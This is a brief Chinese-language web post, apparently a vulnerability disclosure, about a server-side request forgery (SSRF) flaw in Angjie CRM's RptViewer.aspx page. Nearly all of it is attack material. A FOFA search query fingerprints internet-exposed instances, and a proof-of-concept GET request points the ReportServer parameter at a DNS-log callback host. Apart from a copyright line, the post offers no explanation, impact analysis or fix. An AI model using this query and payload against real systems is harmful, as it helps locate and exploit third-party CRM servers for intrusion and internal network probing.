昂捷CRM RptViewer.aspx存在SSRF

2025年7月31日发布

83921

fofa：

(body="CheckSilverlightInstalled()" && body="AllowHtmlPopupwindow") || body="/ClientBin/slEnjoy.App.xap"

GET /WebForms/RptViewer.aspx?ReportServer=http://{{dnslog}}

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧